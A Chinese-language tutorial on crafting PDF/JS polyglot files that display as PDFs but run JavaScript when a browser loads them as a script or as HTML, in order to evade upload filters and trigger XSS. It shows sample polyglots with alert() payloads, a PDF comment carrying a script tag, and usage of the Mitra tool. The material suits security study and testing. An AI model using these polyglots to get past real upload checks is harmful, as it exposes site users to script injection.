[TOC]

什么是PDF/JS Polyglot文件?

Polyglot文件指的是一个文件同时满足多种文件格式的解析规则,看似是合规的某类文件(如PDF),实则包含另一类可执行代码(如JS)。PDF/JS Polyglot文件就是利用PDF和JS解析机制的差异,让文件在PDF阅读器中正常显示,却能在浏览器以脚本形式加载时执行恶意JS代码,从而绕开文件上传过滤、触发XSS等攻击。

技术原理

制作此类 Polyglot 主要有三种方式:

  • 方法一:头部偏移容错
  • 方法二:字符串/注释包裹法
  • 方法三:多容器嵌套(HTML/PDF Polyglot)

虽然是三种方法,但是在核心原理上是一致的,都是利用的两种格式在解析机制上的差异和容错性造成的,只不过不同的路径被归纳为了不同的方法。

头部偏移容错

头部偏移容错是最常见的也是最直接的制造此类 Polyglot 的方式。

原理:
一般而言标准的 PDF 解析器(比如 Adobe Acrobat、Chrome PDF Viewer)通常不强制要求 %PDF-1.x 魔法头(Magic Bytes)必须位于文件的第 0 字节。它们通常会扫描文件的前 1024 字节来寻找这个头。
而 JavaScript 引擎特性:JS 是从头开始执行的。
这种两者之间的差异就是我们操作的空间

构造方法:
在文件的最开头编写有效的 JavaScript 代码,并在 1024 字节内(通常紧接在 JS 代码后或被注释包裹)放置 PDF 头。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var a = "Hello"; // 有效的JS代码
/* // JS块注释开始,PDF解析器可识别注释内的PDF头
%PDF-1.4 // PDF魔法头
1 0 obj // PDF对象起始
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>
endobj
xref
0 4
0000000000 65535 f
0000000010 00000 n
0000000079 00000 n
0000000146 00000 n
trailer
<< /Size 4 /Root 1 0 R >>
startxref
200
%%EOF
*/ // JS块注释结束
alert("I am JS!"); // JS执行代码

如果这个时候服务器仅检查文件扩展名是 .pdf,但内容被浏览器以 <script src="file.pdf"> 加载,JS 就会执行。

字符串/注释包裹法

这个方法的原理是利用一种语言的“注释”或“字符串”语法来隐藏另一种语言的代码。

方法 1:PDF 在 JS 字符串/注释中
如上一个例子所展示的,将整个 PDF 的二进制内容放入 JavaScript 的块注释 /* ... */ 或一个巨大的字符串变量 var pdf = "..."; 中。

难点:PDF 中不能包含会破坏 JS 语法的字符(如未转义的引号或 */ )。这通常需要对 PDF 进行编码或精心构造(比如避免在 PDF流中使用 */ )。

方法 2:JS 在 PDF 注释中
PDF 使用 % 字符作为单行注释。
可以在 PDF 对象之间插入 % 开头的行,并在其中放入 JS 代码(虽然这对直接执行 JS 帮助不大,常用于HTML/PDF 混合利用)。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
% <script>alert('XSS')</script> % 这行是PDF注释,包含JS代码
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>
endobj
xref
0 4
0000000000 65535 f
0000000010 00000 n
0000000079 00000 n
0000000146 00000 n
trailer
<< /Size 4 /Root 1 0 R >>
startxref
200
%%EOF

多容器嵌套

相比较于前两种而言,这是一种更高级的组合,通常引入 HTML 作为中间层,因为浏览器解析 HTML 非常宽容。

原理:

  1. 先去构造一个文件,它既是有效的 PDF,又是有效的 HTML。
  2. 然后在 HTML 中包含 <script> 标签来执行 JavaScript。

构造:

  1. 利用文件开头是 PDF 头(或 HTML 能够忽略的字节)。
  2. 然后再去利用 HTML 的容错性,将 PDF 的二进制数据视为“乱码”文本显示,或者说通过 CSS 隐藏这些。

这个时候文件可以绕过某些上传过滤器(看起来像 PDF,毕竟我们花了么多功夫去构建),但当受害者访问该链接时,如果是以 text/html 渲染,就会执行其中的 XSS Payload。

工具

除了上述我们提到的几种方法去手动构建外,可以使用工具自动构建。

Mitra

Mitra 是一个基于 Python 的脚本,能够自动分析两个文件的格式,并尝试将它们合并为一个“多语言文件”。

GitHub 地址: https://github.com/corkami/mitra
核心原理: 和上述介绍的一样,利用不同文件格式在解析逻辑上的差异(如头部偏移、注释符号、尾部数据忽略等)将两个文件“寄生”或“堆叠”在一起。

安装

1
2
3
4
5
6
7
8
9
10
# 1. 克隆仓库  
git clone https://github.com/corkami/mitra.git

# 2. 进入目录
cd mitra

# 3. 安装依赖 (主要是 PyMuPDF,用于处理 PDF 结构)
pip install -r requirements.txt
# 如果没有 requirements.txt,可以直接安装核心依赖:
pip install pymupdf

基础使用 (生成 PDF/JS Polyglot)

假设有一个正常的 PDF 文件 document.pdf 和一个包含恶意代码的 JavaScript 文件 payload.js

准备工作
我们先创建一个简单的 JS payload 文件 (例如 payload.js ):

1
2
// 简单的测试 payload  
alert("XSS from PDF Polyglot!");

然后继续调用 Mitra 去生成

1
python mitra.py document.pdf payload.js

这样就可以不用自己去考虑怎么去构建了